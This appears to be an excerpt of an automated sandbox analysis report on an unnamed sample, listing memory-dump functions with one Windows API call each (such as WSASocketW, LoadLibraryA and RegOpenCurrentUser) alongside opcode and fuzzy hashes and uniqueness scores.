Opcode Fuzzy Hash: d31cb412f338d388428196147c06a2ce51d21245c79915268b84bfdaa9c825d1
Instruction Fuzzy Hash: 9121A171500240AFF721EF29CC85BAAFBD8EF08210F04846AFD48DB682D674E908CA61

Uniqueness

Uniqueness Score: -1.00%

Function 003FBD52, Relevance: 1.6, APIs: 1, Instructions: 69COMMON

Download Yara Rule

APIs

GetTokenInformation.KERNELBASE(?,00000E9C,C966100A,00000000,00000000,00000000,00000000), ref: 003FBDBC

Memory Dump Source

Source File: 0000000C.00000002.2241253226.00000000003FA000.00000040.00000001.sdmp, Offset: 003FA000, based on PE: false

Similarity

API ID: InformationToken
String ID:
API String ID: 4114910276-0
Opcode ID: 8df5c25d45e0b40e7a0899934274437f5ea87ebf3302041d20d288430c779e8d
Instruction ID: 8899b29da4a85da207e628efdfb379eef82cf01b6c1e5f1ca4855c4cc5ed49c1
Opcode Fuzzy Hash: 8df5c25d45e0b40e7a0899934274437f5ea87ebf3302041d20d288430c779e8d
Instruction Fuzzy Hash: 3F11AFB2500704EFEB21CF51DC85FAAFBACEF04360F14856AFA45DA651D670A9048BB1

Uniqueness

Uniqueness Score: -1.00%

Function 01D82436, Relevance: 1.6, APIs: 1, Instructions: 68COMMON

Download Yara Rule

APIs

OpenFileMappingW.KERNELBASE(?,?), ref: 01D824A1

Memory Dump Source

Source File: 0000000C.00000002.2242257684.0000000001D80000.00000040.00000001.sdmp, Offset: 01D80000, based on PE: false

Similarity

API ID: FileMappingOpen
String ID:
API String ID: 1680863896-0
Opcode ID: 7d792446bb4239c9dc3567895426879330c1c08add5275c53e079eacd1ddbad7
Instruction ID: bb6e11f6393ced54c518d81a3ea9bc8ab7e19e52b36fab33a9f0f5317e333931
Opcode Fuzzy Hash: 7d792446bb4239c9dc3567895426879330c1c08add5275c53e079eacd1ddbad7
Instruction Fuzzy Hash: 93218171500640EFF721DF69DC85B66FBA8EF18320F14846AED498B242D675E904CA75

Uniqueness

Uniqueness Score: -1.00%

Function 003FB04A, Relevance: 1.6, APIs: 1, Instructions: 67COMMON

Download Yara Rule

APIs

K32GetModuleInformation.KERNEL32(?,00000E9C,C966100A,00000000,00000000,00000000,00000000), ref: 003FB0AE

Memory Dump Source

Source File: 0000000C.00000002.2241253226.00000000003FA000.00000040.00000001.sdmp, Offset: 003FA000, based on PE: false

Similarity

API ID: InformationModule
String ID:
API String ID: 3425974696-0
Opcode ID: 18d7b96464c39c7b1d7d5171d27c845baadb7766f7ec6eac507be0a9eee5952d
Instruction ID: 37d7b07c807149e4f51f7250d0ca11e318f459d4bdc29ed47105986c018d9c10
Opcode Fuzzy Hash: 18d7b96464c39c7b1d7d5171d27c845baadb7766f7ec6eac507be0a9eee5952d
Instruction Fuzzy Hash: FC117FB1600704EFEB21CF15DC85FA7FBA8EF05760F14846AE905CB651DB74E9048AA1

Uniqueness

Uniqueness Score: -1.00%

Function 01D81E5A, Relevance: 1.6, APIs: 1, Instructions: 67networkCOMMON

Download Yara Rule

APIs

WSASocketW.WS2_32 ref: 01D81EC6

Memory Dump Source

Source File: 0000000C.00000002.2242257684.0000000001D80000.00000040.00000001.sdmp, Offset: 01D80000, based on PE: false

Similarity

API ID: Socket
String ID:
API String ID: 38366605-0
Opcode ID: 45debc55949e081e7fa47a89e856739cb4a57aa9860270a85866d559d2bcc382
Instruction ID: 6c54c4c613540a3dafd1275d353e22dbbe0345caa7bc827ee0f2f184753cdf82
Opcode Fuzzy Hash: 45debc55949e081e7fa47a89e856739cb4a57aa9860270a85866d559d2bcc382
Instruction Fuzzy Hash: A721C072504700EFEB22EF55DC45BA6FBE4EF08320F04846EED858B692D771A509CB62

Uniqueness

Uniqueness Score: -1.00%

Function 01D80F34, Relevance: 1.6, APIs: 1, Instructions: 67COMMON

Download Yara Rule

APIs

GetDriveTypeW.KERNEL32(?,C966100A,00000000,?,?,?,?,?,?,?,?,73F33C58), ref: 01D80FB0

Memory Dump Source

Source File: 0000000C.00000002.2242257684.0000000001D80000.00000040.00000001.sdmp, Offset: 01D80000, based on PE: false

Similarity

API ID: DriveType
String ID:
API String ID: 338552980-0
Opcode ID: 657ee8426e2a6961787d75204b33d4fcdc115c80d7dd2ed34c94b4c13f72bace
Instruction ID: f0870ffc0e1fbde3d9b33072eed730d49c0aaf5af18cf62adea33fed4994e229
Opcode Fuzzy Hash: 657ee8426e2a6961787d75204b33d4fcdc115c80d7dd2ed34c94b4c13f72bace
Instruction Fuzzy Hash: 71215B7250D7C09FDB138B25DC55B92BFB4AF07224F0D84DAE9888F693D2659908CB62

Uniqueness

Uniqueness Score: -1.00%

Function 01D82536, Relevance: 1.6, APIs: 1, Instructions: 67fileCOMMON

Download Yara Rule

APIs

MapViewOfFile.KERNEL32 ref: 01D825AA

Memory Dump Source

Source File: 0000000C.00000002.2242257684.0000000001D80000.00000040.00000001.sdmp, Offset: 01D80000, based on PE: false

Similarity

API ID: FileView
String ID:
API String ID: 3314676101-0
Opcode ID: 76109c55afa495f4565c64732722f51856d54f17f278c1efd1c2d0ce88c32315
Instruction ID: 7ef0a6bed96f99191fa91313baed5c4ec52353c9b22bce91131ea31f99141b7b
Opcode Fuzzy Hash: 76109c55afa495f4565c64732722f51856d54f17f278c1efd1c2d0ce88c32315
Instruction Fuzzy Hash: CA219D71500604EFEB21DF55DC45F96FBE8EF08320F04849AE9898B292D771B504CB62

Uniqueness

Uniqueness Score: -1.00%

Function 003FBABE, Relevance: 1.6, APIs: 1, Instructions: 66COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32 ref: 003FBB2F

Memory Dump Source

Source File: 0000000C.00000002.2241253226.00000000003FA000.00000040.00000001.sdmp, Offset: 003FA000, based on PE: false

Similarity

API ID: ConsoleMode
String ID:
API String ID: 4145635619-0
Opcode ID: e4dc73649788433962dd823fb03024fe877792ab1c51aeed093d2a721d5541ce
Instruction ID: 2cfd1e9b8eecf8be4ded0f26456593e69d8f6500688e9f24b456bb1bfa42f8be
Opcode Fuzzy Hash: e4dc73649788433962dd823fb03024fe877792ab1c51aeed093d2a721d5541ce
Instruction Fuzzy Hash: 5121A1725093C49FEB128F25DC55A92BFA4EF07320F0984DBDD858F263D234A908DB61

Uniqueness

Uniqueness Score: -1.00%

Function 003FAAAB, Relevance: 1.6, APIs: 1, Instructions: 66COMMON

Download Yara Rule

APIs

LookupPrivilegeValueW.ADVAPI32(?,?,?), ref: 003FAB1A

Memory Dump Source

Source File: 0000000C.00000002.2241253226.00000000003FA000.00000040.00000001.sdmp, Offset: 003FA000, based on PE: false

Similarity

API ID: LookupPrivilegeValue
String ID:
API String ID: 3899507212-0
Opcode ID: 2a94ff07583c010c9c6d44689d16716ee5112fa69f57977cd26946a7b13cb414
Instruction ID: 3cd5fde4e07c5724bb1d4026988da9a9b928f6c0628d45835640f3c7f00cafe2
Opcode Fuzzy Hash: 2a94ff07583c010c9c6d44689d16716ee5112fa69f57977cd26946a7b13cb414
Instruction Fuzzy Hash: 1E219AB16097849FDB22CF25DC44B62FFE8EF56211F09849AED49CB252D275E804C771

Uniqueness

Uniqueness Score: -1.00%

Function 01D82E62, Relevance: 1.6, APIs: 1, Instructions: 66registryCOMMON

Download Yara Rule

APIs

RegOpenCurrentUser.KERNEL32(?,00000E9C), ref: 01D82EC5

Memory Dump Source

Source File: 0000000C.00000002.2242257684.0000000001D80000.00000040.00000001.sdmp, Offset: 01D80000, based on PE: false

Similarity

API ID: CurrentOpenUser
String ID:
API String ID: 1571386571-0
Opcode ID: a626c9eb96d26c1c47568df9b813d310e0c86cfcb292977e7c727987920cf3cf
Instruction ID: bc94d6bdeba3eec2bf154dd05be58aba77b12bd8b72ac8ade811b963bd6bf983
Opcode Fuzzy Hash: a626c9eb96d26c1c47568df9b813d310e0c86cfcb292977e7c727987920cf3cf
Instruction Fuzzy Hash: 0C11BF72500344EFFB21EF15DC85FAAFBA8EF04760F14846AFD449A282D675A905CBB1

Uniqueness

Uniqueness Score: -1.00%

Function 01D81226, Relevance: 1.6, APIs: 1, Instructions: 66libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(?,00000E9C), ref: 01D812AF

Memory Dump Source

Source File: 0000000C.00000002.2242257684.0000000001D80000.00000040.00000001.sdmp, Offset: 01D80000, based on PE: false

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 9d9522c4dd351e8bb7c470475273f6351591dab9a6ca7124ffb871e458e0a616
Instruction ID: 9f80c675c5cb9991851c568a415dbedc2f2e51d754e69cf551f95d33e20cfcfb
Opcode Fuzzy Hash: 9d9522c4dd351e8bb7c470475273f6351591dab9a6ca7124ffb871e458e0a616
Instruction Fuzzy Hash: 20112671504380AFE721CF15DC85FA6FFA8EF46720F18809AFD489F192C279A948CB61

Uniqueness

Uniqueness Score: -1.00%

Function 01D810D4, Relevance: 1.6, APIs: 1, Instructions: 65threadCOMMON

Download Yara Rule

APIs

SetThreadUILanguage.KERNEL32(?), ref: 01D81148

Memory Dump Source

Source File: 0000000C.00000002.2242257684.0000000001D80000.00000040.00000001.sdmp, Offset: 01D80000, based on PE: false

Similarity

API ID: LanguageThread
String ID:
API String ID: 243849632-0
Opcode ID: df1d7df6c2b4eff5ab98bdc4605b3950843b2815d5015eea8955aaaf339f84c8
Instruction ID: 5fe6e48bf2299f350355256c59c8e01219c68e33b1a3efed68e5addd1c81b08b
Opcode Fuzzy Hash: df1d7df6c2b4eff5ab98bdc4605b3950843b2815d5015eea8955aaaf339f84c8
Instruction Fuzzy Hash: 4E216D6140D3C09FD7138B259C54A62BFB4EF57621F0981DBD8858F2A3D2695809D7B2

Uniqueness

Uniqueness Score: -1.00%

Function 01D83066, Relevance: 1.6, APIs: 1, Instructions: 65registryCOMMON

Download Yara Rule

APIs

RegNotifyChangeKeyValue.KERNEL32(?,00000E9C,C966100A,00000000,00000000,00000000,00000000), ref: 01D830D0

Memory Dump Source

Source File: 0000000C.00000002.2242257684.0000000001D80000.00000040.00000001.sdmp, Offset: 01D80000, based on PE: false

Similarity

API ID: ChangeNotifyValue
String ID:
API String ID: 3933585183-0
Opcode ID: 2a0b5b80f0fb7822c2c13193850c6178ef615393a5f91d855274c2ce448e706e
Instruction ID: 8d850fcaa88f5c34668fa1f249cdbf954bfedf3f3a729f339728453f5332d89f
Opcode Fuzzy Hash: 2a0b5b80f0fb7822c2c13193850c6178ef615393a5f91d855274c2ce448e706e
Instruction Fuzzy Hash: 7D11BE72400704EFEB21DF55DC85FAAFBACEF04720F04896AE9499B181D630E5058BB1

Uniqueness

Uniqueness Score: -1.00%

Function 01D829B2, Relevance: 1.6, APIs: 1, Instructions: 64timeCOMMON

Download Yara Rule

APIs

GetProcessTimes.KERNEL32(?,00000E9C,C966100A,00000000,00000000,00000000,00000000), ref: 01D82A11

Memory Dump Source

Source File: 0000000C.00000002.2242257684.0000000001D80000.00000040.00000001.sdmp, Offset: 01D80000, based on PE: false

Similarity

API ID: ProcessTimes
String ID:
API String ID: 1995159646-0
Opcode ID: 07e82d0386ffbf8e74610e4cd046507df3e0364b44157387e3b94201b3e72db4
Instruction ID: ea4836c160fc97832e846ab399009c9acdc0c15416a5bc062bb28b782116886a
Opcode Fuzzy Hash: 07e82d0386ffbf8e74610e4cd046507df3e0364b44157387e3b94201b3e72db4
Instruction Fuzzy Hash: 1B11BF72500700EFEB21DF55DD85FABFBA8EF04720F14846AE9498A691D670A904CBB1

Uniqueness

Uniqueness Score: -1.00%

Function 01D84904, Relevance: 1.6, APIs: 1, Instructions: 64COMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 01D84970

Memory Dump Source

Source File: 0000000C.00000002.2242257684.0000000001D80000.00000040.00000001.sdmp, Offset: 01D80000, based on PE: false

Similarity

API ID: ConsoleWrite
String ID:
API String ID: 2657657451-0
Opcode ID: e70c42e116a66132be939cbe8fbd903400ab4070f46cdcd0d7fd5ec9e4e534b3
Instruction ID: 9dc4e3617a06df5ac85b58f49f1b7202568d9f50bd05fa9043b88f2876bf1d5d
Opcode Fuzzy Hash: e70c42e116a66132be939cbe8fbd903400ab4070f46cdcd0d7fd5ec9e4e534b3
Instruction Fuzzy Hash: 0621A1715083809FDB22CF65DC45B56FFF4EF06220F0984AEED858B662C235A408CB61

Uniqueness

Uniqueness Score: -1.00%

Function 01D83538, Relevance: 1.6, APIs: 1, Instructions: 64networkCOMMON

Download Yara Rule

APIs

GetNetworkParams.IPHLPAPI(?,00000E9C,C966100A,00000000,00000000,00000000,00000000), ref: 01D835B0

Memory Dump Source

Source File: 0000000C.00000002.2242257684.0000000001D80000.00000040.00000001.sdmp, Offset: 01D80000, based on PE: false

Similarity

API ID: NetworkParams
String ID:
API String ID: 2134775280-0
Opcode ID: 978cfe89d5b4c6466a411413fa24a11f9eb64628e12ca60ca0c743d8c842118d
Instruction ID: 4d4ffa794d9b87285956b6773aa08d8320aca9e620e2991f225d88f432cbfab3
Opcode Fuzzy Hash: 978cfe89d5b4c6466a411413fa24a11f9eb64628e12ca60ca0c743d8c842118d
Instruction Fuzzy Hash: 3811B671509384AFE722CF15DC45F56FFA8EF46720F1880DBF9489B192C264A948CB71

Uniqueness

Uniqueness Score: -1.00%

Function 003FAF62, Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(?,00000E9C,C966100A,00000000,00000000,00000000,00000000), ref: 003FAFBE

Memory Dump Source

Source File: 0000000C.00000002.2241253226.00000000003FA000.00000040.00000001.sdmp, Offset: 003FA000, based on PE: false

Similarity

API ID: EnumModulesProcess
String ID:
API String ID: 1082081703-0
Opcode ID: abf4e669d52a5242be2e1c03c6c8fe9adb05ee962a4c038e59c40aad66db6415
Instruction ID: 453658da84ee4d48880f769b95178b9a0f39189ccf334816eb7b4ab2c509f5b5
Opcode Fuzzy Hash: abf4e669d52a5242be2e1c03c6c8fe9adb05ee962a4c038e59c40aad66db6415
Instruction Fuzzy Hash: A811C4B2500704EFEB21DF55DC85BA6FBA8EF44760F14846AEE09CA691D770A9048BB1

Uniqueness

Uniqueness Score: -1.00%

Function 003FBA10, Relevance: 1.6, APIs: 1, Instructions: 60fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,?,?,?,?,?,?), ref: 003FBA7E

Memory Dump Source

Source File: 0000000C.00000002.2241253226.00000000003FA000.00000040.00000001.sdmp, Offset: 003FA000, based on PE: false

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: a3cbda17cd8c1765e46009d83a50a26d4ee03c2c692e88b37d543644669e2830
Instruction ID: d9e9154387e011197180a8861404c6c51c473607b804f9ae24513f8f7a1d8bde
Opcode Fuzzy Hash: a3cbda17cd8c1765e46009d83a50a26d4ee03c2c692e88b37d543644669e2830
Instruction Fuzzy Hash: F4119071504384AFDB22CF65CC44B52FFF4EF15210F09849AEA858B662D375A418CB61

Uniqueness

Uniqueness Score: -1.00%

Function 01D80886, Relevance: 1.6, APIs: 1, Instructions: 60fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(?,00000E9C,C966100A,00000000,00000000,00000000,00000000), ref: 01D808E5

Memory Dump Source

Source File: 0000000C.00000002.2242257684.0000000001D80000.00000040.00000001.sdmp, Offset: 01D80000, based on PE: false

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: f3f876d9b7250a18e3772b119ba8e50f9d66e54b0d731a0fa55075f531cf859e
Instruction ID: b7f02e3a13051256bc72e7ab860d8993b2035b8706a207b05e2bdc178acb2b4c
Opcode Fuzzy Hash: f3f876d9b7250a18e3772b119ba8e50f9d66e54b0d731a0fa55075f531cf859e
Instruction Fuzzy Hash: 41110172400300EFFB21EF50DC80FA6FBA8EF04320F08855AFD499A241C670A5088BB1

Uniqueness

Uniqueness Score: -1.00%

Function 01D846D2, Relevance: 1.6, APIs: 1, Instructions: 59encryptionCOMMON

Download Yara Rule

APIs

CertVerifyCertificateChainPolicy.CRYPT32(?,00000E9C,C966100A,00000000,00000000,00000000,00000000), ref: 01D8472E

Memory Dump Source

Source File: 0000000C.00000002.2242257684.0000000001D80000.00000040.00000001.sdmp, Offset: 01D80000, based on PE: false

Similarity

API ID: CertCertificateChainPolicyVerify
String ID:
API String ID: 3930008701-0
Opcode ID: 5f387047be3229c04683cba3938ee48db5c32e2e3a4d281b81adf99cea5b205d
Instruction ID: 1bc75dbb81ce2272e57b5e7d708655333afcdbffb3654f82246bb54142d23c61
Opcode Fuzzy Hash: 5f387047be3229c04683cba3938ee48db5c32e2e3a4d281b81adf99cea5b205d
Instruction Fuzzy Hash: 6711E071500300EFFB21EF24DC85FA6FBA8EF45721F14C46AED499A241C774A9048BB1

Uniqueness

Uniqueness Score: -1.00%

Function 01D839D2, Relevance: 1.6, APIs: 1, Instructions: 56COMMON

Download Yara Rule

APIs

GetAdaptersAddresses.IPHLPAPI(?,00000E9C,C966100A,00000000,00000000,00000000,00000000), ref: 01D83A31

Memory Dump Source

Source File: 0000000C.00000002.2242257684.0000000001D80000.00000040.00000001.sdmp, Offset: 01D80000, based on PE: false

Similarity

API ID: AdaptersAddresses
String ID:
API String ID: 2506852604-0
Opcode ID: bf832c056a9e0a7a23e5a7d643cb72abefa4c3da108c1f71ebfcdb001de00f19
Instruction ID: 187441fc251af0ef46e7bccd69a61c6cc21d89d15db5e9f2a68f17e53e0a0714
Opcode Fuzzy Hash: bf832c056a9e0a7a23e5a7d643cb72abefa4c3da108c1f71ebfcdb001de00f19
Instruction Fuzzy Hash: 64110272400700EFEB219F05DC80F67FBA8EF04B20F04845AED494A251D670E904CBB1

Uniqueness

Uniqueness Score: -1.00%

Function 01D81246, Relevance: 1.6, APIs: 1, Instructions: 56libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(?,00000E9C), ref: 01D812AF

Memory Dump Source

Source File: 0000000C.00000002.2242257684.0000000001D80000.00000040.00000001.sdmp, Offset: 01D80000, based on PE: false

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 6dcd4145e15b97e0c96fbb6653b843b586056596b5e0157bc760c9c8c848e39e
Instruction ID: 924414320960fe7759cda77e4ec9f41925490a70788ae1cde25c99b5c54fe9ae
Opcode Fuzzy Hash: 6dcd4145e15b97e0c96fbb6653b843b586056596b5e0157bc760c9c8c848e39e
Instruction Fuzzy Hash: F5110471500304EFFB20EF15DC86FA6FB98EF05721F14809AFD489A281D6B5AA49CA65

Uniqueness

Uniqueness Score: -1.00%

Function 003FA33C, Relevance: 1.6, APIs: 1, Instructions: 55COMMON

Download Yara Rule

APIs

WerSetFlags.KERNEL32 ref: 003FA39C

Memory Dump Source

Source File: 0000000C.00000002.2241253226.00000000003FA000.00000040.00000001.sdmp, Offset: 003FA000, based on PE: false

Similarity

API ID: Flags
String ID:
API String ID: 3401871038-0
Opcode ID: 607c4d7420d6e4edd0ebd6166808909d85c39ef1ff0031dd94337d94b99eb3c5
Instruction ID: 3847006f99431de0fb4cfb222cefe3a357b476f5a3add89063dbe55c4c36aa22
Opcode Fuzzy Hash: 607c4d7420d6e4edd0ebd6166808909d85c39ef1ff0031dd94337d94b99eb3c5
Instruction Fuzzy Hash: 7211BF714083C49FEB128B15CC54A62BFB4DF03214F0980CAEDC44F263C265A808DB72

Uniqueness

Uniqueness Score: -1.00%

Function 01D805E8, Relevance: 1.6, APIs: 1, Instructions: 54fileCOMMON

Download Yara Rule

APIs

UnmapViewOfFile.KERNEL32(?,C966100A,00000000,?,?,?,?,?,?,?,?,73F33C58), ref: 01D80640

Memory Dump Source

Source File: 0000000C.00000002.2242257684.0000000001D80000.00000040.00000001.sdmp, Offset: 01D80000, based on PE: false

Similarity

API ID: FileUnmapView
String ID:
API String ID: 2564024751-0
Opcode ID: 608b24159f7af30b288d256549d5cfb075834e3ea0c79d02c1d16cfae63e0beb
Instruction ID: f8f27c9debe57f71a5286907c07794cc8a1cb340d63cebb0bc08a557ea6065b6
Opcode Fuzzy Hash: 608b24159f7af30b288d256549d5cfb075834e3ea0c79d02c1d16cfae63e0beb
Instruction Fuzzy Hash: DE11E0715093C09FDB128F15DC95B52FFA4EF06224F0880DBEC858B6A3D264A908CB62

Uniqueness

Uniqueness Score: -1.00%

Function 01D82D96, Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

RasConnectionNotificationA.RASAPI32(?,00000E9C,C966100A,00000000,00000000,00000000,00000000), ref: 01D82DEF

Memory Dump Source

Source File: 0000000C.00000002.2242257684.0000000001D80000.00000040.00000001.sdmp, Offset: 01D80000, based on PE: false

Similarity

API ID: ConnectionNotification
String ID:
API String ID: 1402429939-0
Opcode ID: be16948c547190fa7c6e86292d10ef3c8f38416c295e89c0ed75adbec9265834
Instruction ID: cecc84b9f237876efce8ee0a51fd1e3033bf3c1b41c33770c337c5cb499610af
Opcode Fuzzy Hash: be16948c547190fa7c6e86292d10ef3c8f38416c295e89c0ed75adbec9265834
Instruction Fuzzy Hash: AD110475500704EFFB219F05CC85F66FBA8EF04721F18C45AFD459B281D674A904CAB5

Uniqueness

Uniqueness Score: -1.00%

Function 01D8117C, Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

CoGetObjectContext.OLE32(?,?), ref: 01D811E3

Memory Dump Source

Source File: 0000000C.00000002.2242257684.0000000001D80000.00000040.00000001.sdmp, Offset: 01D80000, based on PE: false

Similarity

API ID: ContextObject
String ID:
API String ID: 3343934925-0
Opcode ID: 195bee4fda61f4a0373d6ed28932293dae9feaf91318bc8a9b3453421ba5f446
Instruction ID: 0962b527bad7c2ea987fb2a004b9b221d62da0ed2d6a532865109a5ac4cfd1d7
Opcode Fuzzy Hash: 195bee4fda61f4a0373d6ed28932293dae9feaf91318bc8a9b3453421ba5f446
Instruction Fuzzy Hash: 94119D754093849FD7128F25DC85B51FFB4EF06225F0980DBDD848B163D275A84ACB62

Uniqueness

Uniqueness Score: -1.00%

Function 003FAA0F, Relevance: 1.6, APIs: 1, Instructions: 53COMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 003FAA71

Memory Dump Source

Source File: 0000000C.00000002.2241253226.00000000003FA000.00000040.00000001.sdmp, Offset: 003FA000, based on PE: false

Similarity

API ID: ConsoleOutput
String ID:
API String ID: 3985236979-0
Opcode ID: 6146b427346bac9f8fb1ce95bb91e80b31e58f06434ae78c3c078113d697f2c6
Instruction ID: 111fa3af52cabdc85cbd0405aac85cc1b5c34e854f868de3f600b151a1601072
Opcode Fuzzy Hash: 6146b427346bac9f8fb1ce95bb91e80b31e58f06434ae78c3c078113d697f2c6
Instruction Fuzzy Hash: 9211C17540D7C49FDB128B11DC85A91BFA0EF17320F0A80DBDD848F1A3D269A909C762

Uniqueness

Uniqueness Score: -1.00%

Function 003FAAD2, Relevance: 1.6, APIs: 1, Instructions: 53COMMON

Download Yara Rule

APIs

LookupPrivilegeValueW.ADVAPI32(?,?,?), ref: 003FAB1A

Memory Dump Source

Source File: 0000000C.00000002.2241253226.00000000003FA000.00000040.00000001.sdmp, Offset: 003FA000, based on PE: false

Similarity

API ID: LookupPrivilegeValue
String ID:
API String ID: 3899507212-0
Opcode ID: bab7d959f7c7ca365c1be53b18315aa394c7d9e7e275406cab4816a2d34b0235
Instruction ID: 3594a68a4ee95fd03d22e1ce20c29dc794df7bbfc8f37718a27e5a7ad576c15f
Opcode Fuzzy Hash: bab7d959f7c7ca365c1be53b18315aa394c7d9e7e275406cab4816a2d34b0235
Instruction Fuzzy Hash: 28118EB66047048FEB21CF25DC85B66FBD8EF14321F08C46ADD0DCB651D670E804CA62

Uniqueness

Uniqueness Score: -1.00%

Function 01D8355A, Relevance: 1.6, APIs: 1, Instructions: 53networkCOMMON

Download Yara Rule

APIs

GetNetworkParams.IPHLPAPI(?,00000E9C,C966100A,00000000,00000000,00000000,00000000), ref: 01D835B0

Memory Dump Source

Source File: 0000000C.00000002.2242257684.0000000001D80000.00000040.00000001.sdmp, Offset: 01D80000, based on PE: false

Similarity

API ID: NetworkParams
String ID:
API String ID: 2134775280-0
Opcode ID: 378062d822c9417e6558cdbfb7e48658501067afd16809a1e416e985c789c5c1
Instruction ID: a5a85066d4ff91af5783973b00056c3a382e6a686ec9c840d9e1f9ea58a6e032
Opcode Fuzzy Hash: 378062d822c9417e6558cdbfb7e48658501067afd16809a1e416e985c789c5c1
Instruction Fuzzy Hash: E101C071500744EFFB219F05DC85B66FB98EF04B21F14809AED499B281D674EA048AB1

Uniqueness

Uniqueness Score: -1.00%

Function 01D8092F, Relevance: 1.6, APIs: 1, Instructions: 53COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?,C966100A,00000000,?,?,?,?,?,?,?,?,73F33C58), ref: 01D8099C

Memory Dump Source

Source File: 0000000C.00000002.2242257684.0000000001D80000.00000040.00000001.sdmp, Offset: 01D80000, based on PE: false

Similarity

API ID: InfoSystem
String ID:
API String ID: 31276548-0
Opcode ID: 4f75428197c9ada49109a24fd3a7475f1f4f59d00b052dac6ba9e9c49b7ac3fa
Instruction ID: f1dadfa6cd82c8f2f09b16a05d6c33029a024af43967cf66982a516226595fe6
Opcode Fuzzy Hash: 4f75428197c9ada49109a24fd3a7475f1f4f59d00b052dac6ba9e9c49b7ac3fa
Instruction Fuzzy Hash: 1D1190714097C09FE7228B25DC55B92BFA4EF07324F0980DAD9844B163C265A908CB62

Uniqueness

Uniqueness Score: -1.00%

Function 01D807C6, Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32(?,00000E9C,C966100A,00000000,00000000,00000000,00000000), ref: 01D80819

Memory Dump Source

Source File: 0000000C.00000002.2242257684.0000000001D80000.00000040.00000001.sdmp, Offset: 01D80000, based on PE: false

Similarity

API ID: FileType
String ID:
API String ID: 3081899298-0
Opcode ID: 7dd8a2b87bdd2d774ea12be392d2c72f8e4c89b6977b8edca9982be85a21625a
Instruction ID: 7bef4290fed69c5cbe986268d3822a4fbab04bf0e9dab40535dce9d297d7250d
Opcode Fuzzy Hash: 7dd8a2b87bdd2d774ea12be392d2c72f8e4c89b6977b8edca9982be85a21625a
Instruction Fuzzy Hash: 0B01D271500704EFFB20EF05DC85FA6FBA8DF04721F14C096FD099B282D678A9488AB2

Uniqueness

Uniqueness Score: -1.00%

Function 01D8492A, Relevance: 1.6, APIs: 1, Instructions: 51COMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 01D84970

Memory Dump Source

Source File: 0000000C.00000002.2242257684.0000000001D80000.00000040.00000001.sdmp, Offset: 01D80000, based on PE: false

Similarity

API ID: ConsoleWrite
String ID:
API String ID: 2657657451-0
Opcode ID: 24bc26e3b8b480ab75d0c1f7689fbec6e68b5bfa6b8f4fb1b8d28464e07e2014
Instruction ID: ef730d6b3b1a6c9d225dbfa32433cb5e2df430c3896deff3260266a13eb8ae9d
Opcode Fuzzy Hash: 24bc26e3b8b480ab75d0c1f7689fbec6e68b5bfa6b8f4fb1b8d28464e07e2014
Instruction Fuzzy Hash: 67118E72500701DBEB21EF59DC85B66FBA4EF15221F08846EDD498B652D731E404CB61

Uniqueness

Uniqueness Score: -1.00%

Function 003FAB75, Relevance: 1.6, APIs: 1, Instructions: 50COMMON

Download Yara Rule

APIs

GetLogicalDrives.KERNEL32 ref: 003FABC9

Memory Dump Source

Source File: 0000000C.00000002.2241253226.00000000003FA000.00000040.00000001.sdmp, Offset: 003FA000, based on PE: false

Similarity

API ID: DrivesLogical
String ID:
API String ID: 999431828-0
Opcode ID: 17a0f4346e0495a229369a0529591844825d1a3833f2578096e4e9146adb07e2
Instruction ID: 41d370eca738f29294577b52bca5187eb507f5ca4bdc867bcada960e3fca2403
Opcode Fuzzy Hash: 17a0f4346e0495a229369a0529591844825d1a3833f2578096e4e9146adb07e2
Instruction Fuzzy Hash: 9911CEB54097849FDB11CF65DC85B92BFA4EF12320F0AC0ABDD488F253D275A908CB62

Uniqueness

Uniqueness Score: -1.00%

Function 003FBA32, Relevance: 1.5, APIs: 1, Instructions: 49fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,?,?,?,?,?,?), ref: 003FBA7E

Memory Dump Source

Source File: 0000000C.00000002.2241253226.00000000003FA000.00000040.00000001.sdmp, Offset: 003FA000, based on PE: false

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 5f813065ba6ff6c2f0ca170264d9950401043e6e1cabce181c2240c7e2126c2a
Instruction ID: bd348418eafb2f3e5202fb4cad758000fa66946b0661be13c7737a432fe34247
Opcode Fuzzy Hash: 5f813065ba6ff6c2f0ca170264d9950401043e6e1cabce181c2240c7e2126c2a
Instruction Fuzzy Hash: 74117C72500704DFDF21CF55D884B62FBE4EF14311F1884AADE498A622D371E414DB61

Uniqueness

Uniqueness Score: -1.00%

Function 003FA1EE, Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

EnumWindows.USER32(?,00000E9C,?,?), ref: 003FA23E

Memory Dump Source

Source File: 0000000C.00000002.2241253226.00000000003FA000.00000040.00000001.sdmp, Offset: 003FA000, based on PE: false

Similarity

API ID: EnumWindows
String ID:
API String ID: 1129996299-0
Opcode ID: fd81ce81c5a2d644bbe4b6887385f3bf84589e4fd2469c366ec953d4dec38dff
Instruction ID: 7847b8a6ad51655ea617e29422581df2b80ae100fccf0285d3d05389e05baf3b
Opcode Fuzzy Hash: fd81ce81c5a2d644bbe4b6887385f3bf84589e4fd2469c366ec953d4dec38dff
Instruction Fuzzy Hash: A701D471900600AFE310DF16DC42B66FBA8FB84A20F14816AEC088B741D235F515CBE5

Uniqueness

Uniqueness Score: -1.00%

